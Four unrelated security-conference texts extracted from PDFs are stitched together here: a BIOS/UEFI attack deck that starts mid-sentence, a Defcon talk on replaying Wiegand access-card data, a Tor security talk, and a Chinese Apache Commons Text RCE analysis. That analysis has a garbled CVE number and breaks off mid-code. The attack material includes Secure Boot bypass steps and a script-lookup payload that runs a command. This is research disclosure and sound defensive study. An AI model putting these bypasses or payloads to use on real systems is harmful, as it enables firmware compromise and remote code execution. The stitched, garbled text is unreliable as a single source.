depending on the size of boot-block) of the address targeting ROM, e.g. when CPU fetches reset vector on reboot • Thus CPU executes from 0xFFFEFFF0 inside “backup” boot-block rather than from 0xFFFFFFF0 • Top Swap indicator is not reset on reboot (requires RTC reset) • When not locked/protected, malware can redirect execution of reset vector to alternate (backup) boot-block • BIOS Boot Hijacking and VMware Vulnerabilities Digging • BIOS has to lock down Top Swap configuration (BIOS Interface Lock in General Control & Status register) & protect swap boot-block range in SPI • chipsec_main --module common.bios_ts BIOS Top Boot-Block Swap Attack BIOS Top Swap Original BIOS Boot-Block 0xFFFFFFF0 CPU normally fetches reset vector at FFFFFFF0 0xFFFEFFF0 Alternate BIOS Boot-Block (BUC[TS] = 1) When TS is not locked: • Malware sets BUC[TS] • Out of reset, CPU starts @ reset vector • Chipset inverts A16 • CPU fetches instr. from alternate BB (at FFFEFFF0) instead of FFFFFFF0 Is BIOS Interface Locked? [+] imported chipsec.modules.common.bios_ts [x][ ======================================================================= [x][ Module: BIOS Interface Lock and Top Swap Mode [x][ ======================================================================= [*] RCBA General Config base: 0xFED1F400 [*] GCS (General Control and Status) register = 0x00000021 [10] BBS (BIOS Boot Straps) = 0x0 [00] BILD (BIOS Interface Lock-Down) = 1 [*] BUC (Backed Up Control) register = 0x00000000 [00] TS (Top Swap) = 0 [*] BC (BIOS Control) register = 0x2A [04] TSS (Top Swap Status) = 0 [*] BIOS Top Swap mode is disabled [+] PASSED: BIOS Interface is locked (including Top Swap Mode) BIOS Attack Surface: SMI Handlers System FW/BIOS SPI Flash Protection BIOS Update SMRAM Protection Hardware Config. SMI Handlers Secure Boot BIOS Settings (NVRAM, Variables) … Legacy SMI Handlers Calling Out of SMRAM Phys Memory SMRAM CALL F000:8070 Legacy BIOS Shadow (F/ E-segments) PA = 0xF0000 1 MB Legacy SMI Handlers Calling Out of SMRAM Phys Memory SMRAM CALL F000:8070 Legacy BIOS Shadow (F/ E-segments) PA = 0xF0000 1 MB Code fetch in SMM Legacy SMI Handlers Calling Out of SMRAM Phys Memory SMRAM CALL F000:8070 Legacy BIOS Shadow (F/ E-segments) PA = 0xF0000 1 MB 0xF8070: payload 0F000:08070 = 0xF8070 PA Code fetch in SMM Legacy SMI Handlers Calling Out of SMRAM • OS level exploit stores payload in F-segment below 1MB (0xF8070 Physical Address) • Exploit has to also reprogram PAM for F-segment • Then triggers “SW SMI” via APMC port (I/O 0xB2) • SMI handler does CALL 0F000:08070 in SMM • BIOS SMM Privilege Escalation Vulnerabilities (14 issues in just one SMI Handler) • System Management Mode Design and Security Issues Branch Outside of SMRAM Function Pointers Outside of SMRAM (DXE SMI) Phys Memory SMRAM mov ACPINV+x, %rax call *0x18(%rax) ACPI NV Area payload 1. Read function pointer from ACPI NVS memory (outside SMRAM) Pointer to payload 2. Call function pointer (payload outside SMRAM) Attacking Intel BIOS BIOS Attack Surface: Secure Boot System FW/BIOS SPI Flash Protection BIOS Update SMRAM Protection Hardware Config. SMI Handlers Secure Boot BIOS Settings (NVRAM, Variables) … Secure Boot Key Hierarchy Platform Key (PK)  Verifies KEKs  Platform Vendor‟s Cert Key Exchange Keys (KEKs)  Verify db and dbx  Earlier rev‟s: verifies image signatures Authorized Database (db) Forbidden Database (dbx)  X509 certificates, SHA1/SHA256 hashes of allowed & revoked images  Earlier revisions: RSA-2048 public keys, PKCS#7 signatures Platform Key (Root Key) has to be Valid PK variable exists in NVRAM? Yes. Set SetupMode variable to USER_MODE No. Set SetupMode variable to SETUP_MODE SecureBootEnable variable exists in NVRAM? Yes  SecureBootEnable variable is SECURE_BOOT_ENABLE and SetupMode variable is USER_MODE? Set SecureBoot variable to ENABLE  Else? Set SecureBoot variable to DISABLE No  SetupMode is USER_MODE? Set SecureBoot variable to ENABLE  SetupMode is SETUP_MODE? Set SecureBoot variable to DISABLE First Public Windows 8 Secure Boot Bypass A Tale Of One Software Bypass Of Windows 8 Secure Boot Platform Key in NVRAM Can Be Modified Corrupt Platform Key EFI variable in NVRAM  Name (“PK”) or Vendor GUID {8BE4DF61-93CA-11D2- AA0D-00E098032B8C}  Recall that AuthenticatedVariableService DXE driver enters Secure Boot SETUP_MODE when correct “PK” EFI variable cannot be located in EFI NVRAM  Main volatile SecureBoot variable is then set to DISABLE  DXE ImageVerificationLib then assumes Secure Boot is off and skips Secure Boot checks  Generic exploit, independent of the platform/vendor  1 bit modification! PK Mod: Before and After Exploit Programs SPI Controller & Modifies SPI Flash Hardware I/O Memory Network Graphics UEFI DXE Core / Dispatcher UEFI OS Loaders System Firmware (SEC/PEI) DXE Driver UEFI Boot Loader Bootx64.efi Bootmgfw.efi Signed BIOS Update DXE Driver OS Kernel OS Driver OS Exploit Modify Secure Boot FW or config in ROM Then Installs UEFI Bootkit on ESP Hardware I/O Memory Network Graphics UEFI DXE Core / Dispatcher UEFI OS Loaders System Firmware (SEC/PEI) DXE Driver UEFI Bootkit Signed BIOS Update DXE Driver OS Kernel OS Driver OS Exploit Install UEFI Bootkit Modified FW Doesn’t Enforce Secure Boot Hardware I/O Memory Network Graphics UEFI DXE Core / Dispatcher UEFI OS Loaders System Firmware (SEC/PEI) DXE Driver UEFI Bootkit Signed BIOS Update DXE Driver OS Kernel OS Driver OS Exploit Demo (Bypassing Secure Boot by Corrupting Platform Key in SPI) Turn On/Off Secure Boot in BIOS Setup How to Disable Secure Boot? SecureBootEnable UEFI Variable  When turning ON/OFF Secure Boot, it should change Hmm.. but there is no SecureBootEnable variable  Where does the BIOS store Secure Boot Enable flag? Should be NV  somewhere in SPI Flash..  Just dump SPI flash with Secure Boot ON and OFF  Then compare two SPI flash images Yeah.. Good Luck With That ;( There’s A Better Way.. Secure Boot On Secure Boot Off Secure Boot On Secure Boot Off Secure Boot Disable is Really in Setup! chipsec_util.py spi dump spi.bin chipsec_util.py uefi nvram spi.bin chipsec_util.py decode spi.bin Demo (Attack Disabling Secure Boot) Secure Boot: Image Verification Policies DxeImageVerificationLib defines policies applied to different types of images and on security violation IMAGE_FROM_FV (ALWAYS_EXECUTE), IMAGE_FROM_FIXED_MEDIA, IMAGE_FROM_REMOVABLE_MEDIA, IMAGE_FROM_OPTION_ROM ALWAYS_EXECUTE, NEVER_EXECUTE, ALLOW_EXECUTE_ON_SECURITY_VIOLATION DEFER_EXECUTE_ON_SECURITY_VIOLATION DENY_EXECUTE_ON_SECURITY_VIOLATION QUERY_USER_ON_SECURITY_VIOLATION SecurityPkg\Library\DxeImageVerificationLib http://sourceforge.net/apps/mediawiki/tianocore/index.php?title=SecurityPkg Secure Boot: Image Verification Policies Image Verification Policy? (IMAGE_FROM_FV) ALWAYS_EXECUTE? EFI_SUCCESS NEVER_EXECUTE? EFI_ACCESS_DENIED Storing Image Verification Policies in Setup • Read „Setup‟ UEFI variable and look for sequences • 04 04 04, 00 04 04, 05 05 05, 00 05 05 • We looked near Secure Boot On/Off Byte! • Modify bytes corresponding to policies to 00 (ALWAYS_EXECUTE) then write modified „Setup‟ variable Modifying Image Verification Policies [CHIPSEC] Reading EFI variable Name='Setup' GUID={EC87D643-EBA4-4BB5-A1E5- 3F3E36B20DA9} from 'Setup_orig.bin' via Variable API.. EFI variable: Name : Setup GUID : EC87D643-EBA4-4BB5-A1E5-3F3E36B20DA9 Data : .. 01 01 01 00 00 00 00 01 01 01 00 00 00 00 00 00 | 00 00 00 00 00 00 01 01 00 00 00 04 04 | [CHIPSEC] (uefi) time elapsed 0.000 [CHIPSEC] Writing EFI variable Name='Setup' GUID={EC87D643-EBA4-4BB5-A1E5- 3F3E36B20DA9} from 'Setup_policy_exploit.bin' via Variable API.. Writing EFI variable: Name : Setup GUID : EC87D643-EBA4-4BB5-A1E5-3F3E36B20DA9 Data : .. 01 01 01 00 00 00 00 01 01 01 00 00 00 00 00 00 | 00 00 00 00 00 00 01 01 00 00 04 00 00 | [CHIPSEC] (uefi) time elapsed 0.203 OptionRomPolicy FixedMediaPolicy RemovableMediaPolicy Allows Bypassing Secure Boot Issue was co-discovered with Corey Kallenberg, Xeno Kovah, John Butterworth and Sam Cornwell from MITRE All Your Boot Are Belong To Us, Setup for Failure: Defeating SecureBoot Demo (Bypassing Secure Boot via Image Verification Policies) How To Avoid These? 1. Do not store critical Secure Boot configuration in UEFI variables accessible to potentially compromised OS kernel or boot loader  Remove RUNTIME_ACCESS attribute (reduce access permissions)  Use authenticated variable where required by UEFI Spec  Disabling Secure Boot requires physically present user 2. Set Image Verification Policies to secure values  Use Platform Configuration Database (PCD) for the policies  Using ALWAYS_EXECUTE,ALLOW_EXECUTE_* is a bad idea  Especially check PcdOptionRomImageVerificationPolicy  Default should be NEVER_EXECUTE or DENY_EXECUTE Recap on Image Verification Handler SecureBoot EFI variable doesn‟t exist or equals to SECURE_BOOT_MODE_DISABLE? EFI_SUCCESS File is not valid PE/COFF image? EFI_ACCESS_DENIED SecureBootEnable NV EFI variable doesn‟t exist or equals to SECURE_BOOT_DISABLE? EFI_SUCCESS SetupMode NV EFI variable doesn‟t exist or equals to SETUP_MODE? EFI_SUCCESS EFI Executables  Any EFI executables other then PE/COFF?  YES! – EFI Byte Code (EBC), Terse Executable (TE)  But EBC image is a 32 bits PE/COFF image wrapping byte code. No luck   Terse Executable format: In an effort to reduce image size, a new executable image header (TE) was created that includes only those fields from the PE/COFF headers required for execution under the PI Architecture. Since this header contains the information required for execution of the image, it can replace the PE/COFF headers from the original image. http://wiki.phoenix.com/wiki/index.php/Terse_Executable_Format TE is not PE/COFF  TE differs from PE/COFF only with header: PE/TE Header Handling by the BIOS  Decoded UEFI BIOS image from SPI Flash PE/TE Header Handling by the BIOS CORE_DXE.efi: PE/TE Header Confusion  ExecuteSecurityHandler calls GetFileBuffer to read an executable file.  GetFileBuffer reads the file and checks it to have a valid PE header. It returns EFI_LOAD_ERROR if executable is not PE/COFF.  ExecuteSecurityHandler returns EFI_SUCCESS (0) in case GetFileBuffer returns an error  Signature Checks are Skipped! PE/TE Header Confusion BIOS allows running TE images w/o signature check  Malicious PE/COFF EFI executable (bootkit.efi)  Convert executable to TE format by replacing PE/COFF header with TE header  Replace OS boot loaders with resulting TE EFI executable  Signature check is skipped for TE EFI executable  Executable will load and patch original OS boot loader Demo (Secure Boot Bypass via PE/TE Header Confusion) Other Secure Boot Problems • CSM Module Allows Legacy On UEFI Based Firmware • Allows Legacy OS Boot Through [Unsigned] MBR • Allows Loading Legacy [Unsigned] Option ROMs • Once CSM is ON, UEFI BIOS dispatches legacy OROMs then boots MBR • CSM Cannot Be Turned On When Secure Boot is Enabled • CSM can be turned On/Off in BIOS Setup Options • But cannot select “CSM Enabled” when Secure Boot is On CSM Enabled with Secure Boot • Force CSM to Disabled if Secure Boot is Enabled • But don‟t do that only in Setup HII • Implement isCSMEnabled() function always returning FALSE in Secure Boot • Never fall back to legacy boot through MBR if Secure Boot verification of UEFI executable fails Mitigations Clearing Platform Key… from Software “Clear Secure Boot keys” takes effect after reboot  The switch that triggers clearing of Secure Boot keys is in UEFI Variable (happens to be in „Setup‟ variable) But recall that Secure Boot is OFF without Platform Key PK is cleared  Secure Boot is Disabled Install Default Keys… From Where? Default Secure Boot keys can be restored [When there‟s no PK] Switch that triggers restore of Secure Boot keys to their default values is in UEFI Variable (happens to be in „Setup‟) Nah.. Default keys are protected. They are in FV But we just added 9 hashes to the DBX blacklist  Did You Notice Secure Boot Was Disabled? The system protects Secure Boot configuration from modification but has an implementation bug Firmware stores integrity of Secure Boot settings & checks on reboot Upon integrity mismatch, beeps 3 times, waits timeout then… Keeps booting with modified Secure Boot settings BIOS Attack Surface: BIOS Settings System FW/BIOS SPI Flash Protection BIOS Update SMRAM Protection Hardware Config. SMI Handlers Secure Boot BIOS Settings (NVRAM, Variables) … Handling Sensitive Data • BIOS and Pre-OS applications store keystrokes in legacy BIOS keyboard buffer in BIOS data area (at PA = 0x41E) • BIOS, HDD passwords, Full-Disk Encryption PINs etc. • Some BIOS‟es didn‟t clear keyboard buffer • Bypassing Pre-Boot Authentication Passwords • chipsec_main -m common.bios_kbrd_buffer Pre-Boot Passwords Exposure Secrets in the Keyboard Buffer? [*] running module: chipsec.modules.common.bios_kbrd_buffer [x][ ======================================================================= [x][ Module: Pre-boot Passwords in the BIOS Keyboard Buffer [x][ ======================================================================= [*] Keyboard buffer head pointer = 0x3A (at 0x41A), tail pointer = 0x3A (at 0x41C) [*] Keyboard buffer contents (at 0x41E): 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 | 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 | [-] Keyboard buffer tail points inside the buffer (= 0x3A) It may potentially expose lengths of pre-boot passwords. Was your password 15 characters long? [*] Checking contents of the keyboard buffer.. [+] PASSED: Keyboard buffer looks empty. Pre-boot passwords don't seem to be exposed * Better check from EFI shell as OS/pre-boot app might have cleared the keyboard buffer BIOS Attack Surface: SMI Handlers System FW/BIOS SPI Flash Protection BIOS Update SMRAM Protection Hardware Config. SMI Handlers Secure Boot BIOS Settings (NVRAM, Variables) … What? More Issues With SMI Handlers ? • Coordination is ongoing with independent BIOS vendors and platform manufacturers Multiple UEFI BIOS SMI Handler Vulnerabilities Do BIOS Attacks Require Kernel Privileges? Hardware I/O Memory Network Graphics UEFI DXE Core / Dispatcher UEFI OS Loaders System Firmware (SEC/PEI) OS Kernel OS Exploit To attack BIOS, exploit needs access to HW: •PCIe config, •I/O ports, •physical memory, •etc. So, generally, yes. Kernel privileges are required.. Signed OS Driver Unless Suitable Kernel Driver Already Signed Hardware I/O Memory Network Graphics UEFI DXE Core / Dispatcher UEFI OS Loaders System Firmware (SEC/PEI) OS Kernel Legitimate signed OS kernel driver which can do all this on behalf of a user mode app (as a confused deputy). We found suitable driver signed for Windows 64bit versions (co- discovered with researchers from MITRE) User-mode Exploit Ref: BIOS Security Guidelines / Best Practices • CHIPSEC framework: https://github.com/chipsec/chipsec • MITRE Copernicus tool • NIST BIOS Protection Guidelines (SP 800-147 and SP 800-147B) • IAD BIOS Update Protection Profile • Windows Hardware Certification Requirements • UEFI Forum sub-teams: USST (UEFI Security) and PSST (PI Security) • UEFI Firmware Security Best Practices • BIOS Flash Regions • UEFI Variables in Flash (UEFI Variable Usage Technical Advisory) • Capsule Updates • SMRAM • Secure Boot Ref: BIOS Security Research • Security Issues Related to Pentium System Management Mode (CSW 2006) • Implementing and Detecting an ACPI BIOS Rootkit (BlackHat EU 2006) • Implementing and Detecting a PCI Rootkit (BlackHat DC 2007) • Programmed I/O accesses: a threat to Virtual Machine Monitors? (PacSec 2007) • Hacking the Extensible Firmware Interface (BlackHat USA 2007) • BIOS Boot Hijacking And VMWare Vulnerabilities Digging (PoC 2007) • Bypassing pre-boot authentication passwords (DEF CON 16) • Using SMM for "Other Purposes“ (Phrack65) • Persistent BIOS Infection (Phrack66) • A New Breed of Malware: The SMM Rootkit (BlackHat USA 2008) • Preventing & Detecting Xen Hypervisor Subversions (BlackHat USA 2008) • A Real SMM Rootkit: Reversing and Hooking BIOS SMI Handlers (Phrack66) • Attacking Intel BIOS (BlackHat USA 2009) • Getting Into the SMRAM: SMM Reloaded (CSW 2009, CSW 2009) • Attacking SMM Memory via Intel Cache Poisoning (ITL 2009) • BIOS SMM Privilege Escalation Vulnerabilities (bugtraq 2009) • System Management Mode Design and Security Issues (IT Defense 2010) • Analysis of building blocks and attack vectors associated with UEFI (SANS Institute) • (U)EFI Bootkits (BlackHat USA 2012 @snare, SaferBytes 2012 Andrea Allievi, HITB 2013) • Evil Maid Just Got Angrier (CSW 2013) • A Tale of One Software Bypass of Windows 8 Secure Boot (BlackHat USA 2013) • BIOS Chronomancy (NoSuchCon 2013, BlackHat USA 2013, Hack.lu 2013) • Defeating Signed BIOS Enforcement (PacSec 2013, Ekoparty 2013) • UEFI and PCI BootKit (PacSec 2013) • Meet „badBIOS‟ the mysterious Mac and PC malware that jumps airgaps (#badBios) • All Your Boot Are Belong To Us (CanSecWest 2014 Intel and MITRE) • Setup for Failure: Defeating Secure Boot (Syscan 2014) • Setup for Failure: More Ways to Defeat Secure Boot (HITB 2014 AMS) • Analytics, and Scalability, and UEFI Exploitation (INFILTRATE 2014) • PC Firmware Attacks, Copernicus and You (AusCERT 2014) • Extreme Privilege Escalation (BlackHat USA 2014) THANK YOU!
pdf
PHYSICAL ACCESS CONTROL SYSTEMS Are you protected by two screws and a plastic cover?...... Probably! Zac Franken Defcon 15 What we are going to cover: • Overview of physical credentials • Brief overview of biometric systems • Biometric worked example • Demo of attack Basic system Anti-Passback system Physical Credential Technologies • Magnetic Strip Card • Wiegand Card • Proximity Card • Barium Ferrite Card • Concealed Barcode Card • Smart Cards Concealed Barcode • As crappy as it sounds • Regular barcode obscured by IR transparent material (a la Remote control) • Just Fucking Embarrasing Magnetic stripe • Normally 3 tracks • High Coercivity- 4,000 Oersted • Low Coercivity- 300 Oersted • Cards are read by an exposed read head in the reader • “High security” cards can mean simply ofsetting the track Clock & Data Protocol • 3 Wires required: Clock, Data & Ground • Standard output from a mag stripe reader Clock & Data Barrium Ferrite • Tends to use an insertion reader • Card contains discrete magnetic domains • Normally encoded in “fridge magnet” type material • This was the original “Card Key” Wiegand card • Special alloy wire is processed in such a way to create two distinct magnetic regions in the same piece of wire when passed over a magnetic field • Wire is embedded in the card in a distinct order to create an individual code • Each Wiegand pulse is translated to a digital 0 or 1 depending on wire location Wiegand card Wiegand Effect • When Wiegand wires go by a magnet they store the energy from the magnet • If the wire is passed by an opposite polarity magnet, the wire releases the energy • If a coil is place near the wire as it releases the energy, you can convert the energy into an electronic pulse. Wiegand Electrical protocol • 3 wires required: Binary 1, Binary 0, Ground Look familiar? Real Wiegand Data Wiegand format • 0s and 1s are divided into bit fields known as Wiegand format • 26 bit is a “universal format” • Most access card manufacturers have proprietary formats which they sell at additional cost Most Significant Bit Least Significant Bit PROXIMITY • Passive • Reader emits an RF field that powers the card • Card sends its data back to the reader where it is read by the host system • An active card emits a field to the reader Proximity and RFID • Proximity cards are MAGNETICALLY coupled. – Short read range – Transmit response by shorting out own receive coil and causing minute power drops in readers transmit coil. • RFID cards can have longer read range – Energised by signal on frequency X – Transmit response on a fraction of frequency ½ X Proximity ID cards • Barf back a single bitstream • Nominally 26 bits • “high security” can be 40 bits, though there are rumours of up to 84 bit versions. • Security by manufacturers restricting “sitecodes” • The world generally uses 26 bits Contactless Smart Card • The way to go • Authentication between reader & card • Strong Crypto Biometrics • Retina Scan • Iris Scan • Venial hand/finger map • Hand Geometry • Fingerprint Fingerprint • image capture & feature compare • 2 technologies – Optical – Capacitive (semiconductor) • Easily defeated • Gummy bears • Licked photocopies • Silicone fingertips etc Fingerprint Feature Analysis Hand Geometry • Images again • Note the pegs to center the hand The addition of a 45 degree mirror allows them to add a check on the 3rd dimension. Veinal hand Scan • Another image capture, this time with an infra-red camera. Iris Scan • Just an image! • Potential for walk by capture! • All biometric devices on the market today are basically image capture devices. Retina Scan • More secure – Hard to “steal credential” • Hard to use – Needs training & practise • Manufacturer went bust – This is actually a good example of how biometrics work and the challenges of getting them to work at all! An Example of how it works • First the user enters code on reader • Visual dot and target is displayed in eyepiece • (Tip: put finger on scan button) • look into eyepiece • move head to align dot onto target • Once you have correct alignment user presses scan button. • HOLD STILL!!! Not as easy as it sounds.. • Not that it sounded that easy • All biometric devices have a variance factor. – No two reads will ever be identical – There must certain amount of leeway allowed A retina (Not mine !) The user target alignment aligns the eye to the same position each time (sic) When the scan button is pressed the reader scans a circle of the retina Along the circle it spots the dark bits (Veins) and notes their location on the circle Surprisingly enough…. The user credential is 360 bits long ☺ This changed with later models but it shows how the designers think. Coolness factor:- High • Alignment – Totally subjective – Almost like including a brain print • Fudge factor • ID generally ends up as a hash Statistically speaking • False Acceptance Rate: – Rate at which someone other than the actual person is falsely recognized. • False Rejection Rate: – Rate at which the actual person is not recognized accurately. • Also All of these technologies are coupled with a user id! Credential Revocation Fingerprint / Hand revocation device Credential Revocation Retina / Iris revocation device The Catch You knew it was here somewhere… Why backwards compatibility in the security industry is a BAD THING™ Wiegand • When Wiegand cards came out they were considered “The shit” • Access control manufacturers all made sure that their systems could interface with wiegand enabled readers • They still do…… • Every reader we saw today, from the super secure biometric retina scanner to as “crappy as it sounds” concealed barcode uses the wiegand electrical and data protocols to communicate to the access control system. EEEK! • “PLAIN TEXT”! • Easily intercepted!! • Easily replayed!!! • Includes output from biometric readers!!!! • Includes output from strong crypto contactless smart card readers!!!!! The Goal.. • Record wiegand id’s • Replay wiegand id’s • Small • Easily installable • Cheap (if poss) Challenges.. • Unit control (send replay command) – Don’t really want wires hanging out • Card validation (don’t record bad cards) – Hmm • Data Extraction (read out card id’s) – Still don’t want wires hanging out Connection Say Hello to Gecko • Uses “Command Cards” to control functions (Replay etc) • Uses “Access Allowed” LED Control line to validate cards • Uses “Access Allowed” LED to download data Connection Demo Standard Demo Disclaimer Applies: This is a demo, so nothing will work. However, if it does, I’m totally prepared to take all the credit for it! Replay in progress… Development V1 • Proof of concept • Basic feature set:- • Record • Replay • Disable • Enable Version 2 • Store multiple ids to eeprom/flash • Check validity of card by monitoring reader led line • Download data via reader led ☺ • Load data via command cards Version 3 • All the functionality of V2, but with a bluetooth control interface. • Ideal for biometric devices Version 4 • All the functionality of V3, but with a GSM interface. • Monitor access to the facility remotely Q & A Zac Franken [email protected] PHYSICAL ACCESS CONTROL SYSTEMS Were you screwed by two screws and a plastic cover?...... Zac Franken [email protected] Defcon 15
pdf
Securing the Tor Network Mike Perry Riverbed Technology Black Hat USA 2007 Defcon 2007 Who am I? ● Volunteer Tor developer ● Forward+Reverse engineer ● Employed by Riverbed (shameless plug) – Leading manufacturer of WAN accelerators – 20­200X (not percent. X) improvement of CIFS – 5­50X improvement of MAPI/Exchange – Protocol independent data reduction – > 90% head to head win rate – Outselling Cisco accelerators 2:1 Preaching to the Choir ● Don't yet understand consequences of having  lives+thoughts archived by IP, bought and sold ● Google may not be (that) evil, but what about  ISPs, other search engines? ● Information can come back to bite in unexpected  ways – Divorce cases – Lawsuits – Catalogs/Spam What is Tor? ● Volunteer run relay network designed for  privacy, anonymity, and censorship resistance. ● Client acts as SOCKS proxy ● Relays TCP connections (“streams”) – Multiplexed on encrypted paths (“circuits”) ● Circuits multiplexed over node­to­node TLS/SSL ● Circuits route through 3 nodes – “Guard”, “relay”, “exit” Tor Routing Classes of Attack ● Passive attacks – Packet and connection timing correlation – Fingerprinting of traffic/usage patterns – “Intersection Attacks” of multiple attributes of users ● Active attacks – Lying about bandwidth to get more traffic – Failing circuits to bias node selection – Modifying application layer traffic at exit Position of Attack ● Internal – Node operator – Can differentiate circuits at guard and relay. – Able to differentiate streams per circuit at exit  ● External – ISP or Echelon­style adversary – Assumed to be unable to see inside TLS streams – Likely frustrated to a large degree by running Tor as  both node and client Attack Points Passive Attacks Active Attacks Application Attacks Questions/Intermission 1 Questions so far? Approaches to Security ● Verify node operators (Ha!) ● Path selection hacks ● “Tor up from the floor up” ● Improve network speed and usability ● Scan nodes for modification/reliability ● Secure the applications (different threat model) Path Selection Hacks ● /16 hack: No two nodes from same /16 netmask – Many ISPs have disjoint IP ranges.. ● Guard nodes – Chosen from top 50% uptime, top 50% bandwidth – Foil “repetitive fetch” application layer attacks – Reduces long­term fingerprinting potential – Without rotation, can deter intimidation attacks – Difficult to do right. Typically still rotate ● Essentially a time­tradeoff of risk Tor Routers and LiveCDs ● JanusVM, Anonym.OS, xBVM – “Tor up from the floor up” – Address application­level attacks to bypass Tor – Block UDP ● Major flaw: Circuit reuse ­> app correlation – AV software update, other ID­based software updates – AIM, ssh, email usage of different “nyms” – Media players checking recommended music, etc etc Improving Speed and Usability ● Key component of Tor security: Large userbase – Users have been harassed because of small anonymity  sets! Whistleblower/Blogger scenario can be unsafe! ● Users want speed and ease of use – Many do not need as much anonymity – Two hop proposal (semi­controversial) – Intelligent path selection – Ensure network is evenly balanced and reliable Centralized Network Scanning ● Tor control port is fun stuff ● Snakes on a Tor and TorFlow – Verifies md5 sums of googled URLs – Also verifies node reliability+bandwidth ● Works against incompetent+blanket adversaries – Actually found some broken+malicious nodes ● Does not work against selective adversaries ● Vulnerable to detection Scanning Methods and Weaknesses Stuff We Found Anyway 1. Chinese ISP doing SSL MITM 2. Popup blocking! :) 3. Google Analytics Blocking! <3 4. DNS Spoofing 5. SSH+SSL MITM 6. Overloaded nodes 7. Balancing issues :( Decentralized Network Scanning ● Client­based: – Use reliability averages from TorFlow – Alert user if guard node fails more than X% circuits – Measure observed bandwidth/latency of nodes ● Node­based: – Gather statistics on average capacity and queue  lengths to peers, compare to node rankings – Report major deviations or use as balancing feedback  loop. Passive Client+Node Based Scanning Balancing Issues ● Tor network is unbalanced – Guard node issues (bug #440) – Bandwidth clipping ● Detectable during scans – Top 5% of nodes have room for 7X more capacity – Next 10% of nodes have room for 3X more capacity – High circuit failure rates that drop off at 50% mark – High extend times that drop off at 50% mark Scanning Methodology ● Divide Tor network into 5­percentile segments – About 80 nodes each ● Circuit Scanning – Build 500 three hop paths for each range – Fetch ~20k file on each path – Count failures, track extend times ● Bandwidth Scanning – Fetch 512k file 200 times over two hop paths – Average the observed bandwidth for each range Bandwidth (Mis)Balancing Side Effects of Unbalancing Probability of Existing Tor Usability ● 70% Chance of choosing one unbalanced guard – Tor goal: 3 guards ● .7x.7x.7 = 34% chance of 3 unbalanced guards – Tor is likely unbearable for 34% of users ● C(3,2)x.7x.7x.3 = 44% chance of 2/3 bad guards ● C(3,1)x.7x.3x.3 = 19% chance of 1/3 bad guards ● .3x.3x.3 = 3% chance of 3/3 usable guards Other Load Balancing Factors ● Insane exit policies – Allowing bittorrent, p2p, smtp.. ● High uptime vs low uptime ● Scarce guard bandwidth – Avoid guards for relay choice ● Directory vs Node traffic ● Time of day ● Location Questions/Intermission 2 Questions so far? Securing the Application Layer ● Tor has a superset of the threat model most  applications are written for. – No UDP! – Unique identifiers are bad – Proxy settings must be sacrosanct – Location information must not be transmitted – Updates are dangerous. Hostile network. Tor's Web Attack Profile 1. Bypassing proxy settings 2. Correlation of Tor vs Non­Tor 3. History disclosure 4. Location information 5. Misc Anonymity set reduction 6. History records Plugin Wall of Shame ● Flash v9 ● Quicktime v7.2 – RTSP proxy (does not apply to web streams) ● Windows Media Player v10.000000.4040 – Has proxy settings. Even has a “No Bypass” option.  ● Still Ignores them ● Adobe Acrobat Reader Plugin v8.1 – Leaks DNS ● mplayerplug­in Solution: Improved TorButton ● Disable plugins while Tor is enabled ● Isolate dynamic content per Tor load state ● Cookie jars/cookie clearing ● Cache management ● History management ● User agent spoofing during Tor ● Timezone+Locale spoofing TorButton Demo ● http://gemal.dk/browserspy/basic.html ● http://gemal.dk/browserspy/css.html ● http://gemal.dk/browserspy/date.html ● http://gemal.dk/browserspy/plugins.html ● http://metasploit.com/research/misc/decloak/index.htm ● http://ha.ckers.org/weird/CSS­history.cgi ● http://www.tjkdesign.com/articles/css%20pop%20ups/ Interesting Technical Details ● Context issues ● Tab tagging ● XPCOM hooking and XPCOM policies ● Javascript hooking Final Thoughts ● Tor security != Internet security – Superset, actually – Adversary has different goals – Many apps do not consider privacy vulnerabilities as  real vulnerabilities Credits+Contributions Scott Squires (Original TorButton Author) Collin Jackson (History blocking+Cookie jars) Johannes Renner (TorFlow contributions+research) Nick & Roger (Advice, Tor in general) Nitin, Dave, Thom (Advice, Moral Support) “What can I do to help Tor?” ● Extra bandwidth? Run a node!  – See conference CD for Linux 'tc' prioritization script – No need to impact your own traffic flows ● Post patches/plugins to your favorite apps to  protect against info disclosure. – Work to raise awareness that privacy issues should be  considered as part of security measures
pdf
1 Apache Commons Text RCE(CVE-OLOO- QOWWX) 漏洞分析 漏洞复现 漏洞防御 漏洞详细:https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om 根据⽂中提到的 lookups 可以定位到 InterpolatorStringLookup#lookup ⽅法 漏洞分析 2 第5⾏将 : 的第⼀次出现的下标赋给 prefixPos,如果 prefixPos ⼤于 0,则会将 : 前半部分赋给 prefix(此处会进⾏⼩写处理),后半部分赋给 name。 接着在 stringLookupMap 查看是否存在对应的键名,如果存在则会调⽤ StringLookup#lookup ⽅法 这些 lookups 可以在 org.apache.commons.text.lookup.DefaultStringLookup 中查看 public String lookup(String var) { if (var == null) { return null; } else { int prefixPos = var.indexOf(58); if (prefixPos >= 0) { String prefix = toKey(var.substring(0, prefixPos)); String name = var.substring(prefixPos + 1); StringLookup lookup = (StringLookup)this.stringLookupMap.get(p refix); String value = null; if (lookup != null) { value = lookup.lookup(name); } if (value != null) { return value; } var = var.substring(prefixPos + 1); } return this.defaultStringLookup != null ? this.defaultStringLookup .lookup(var) : null; } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Java 复制代码 3 ⽂中说明可以使⽤ script 进⾏命令执⾏,查看 ScriptStringLookup#lookup ⽅法 4 SPLIT_STR 为 : ,将其再划分为两部分。接着会将这两部分分别赋给 engineName 和 script,其中 engineName 是在 (new ScriptEngineManager()).getEngineByName(engineName) 进⾏调 ⽤的,这⾥ engineName 是赋值 js,然后 script 是在 scriptEngine.eval(script) 进⾏调⽤代码 执⾏,这⾥可以使⽤ java.lang.Runtime.getRuntime().exec(\"calc\") ,最后 Payload 如 下 其他 lookup 可⾃⾏分析利⽤ public String lookup(String key) { if (key == null) { return null; } else { String[] keys = key.split(SPLIT_STR, 2); int keyLen = keys.length; if (keyLen != 2) { throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.", new Object[]{key}); } else { String engineName = keys[0]; String script = keys[1]; try { ScriptEngine scriptEngine = (new ScriptEngineManager()).ge tEngineByName(engineName); if (scriptEngine == null) { throw new IllegalArgumentException("No script engine n amed " + engineName); } else { return 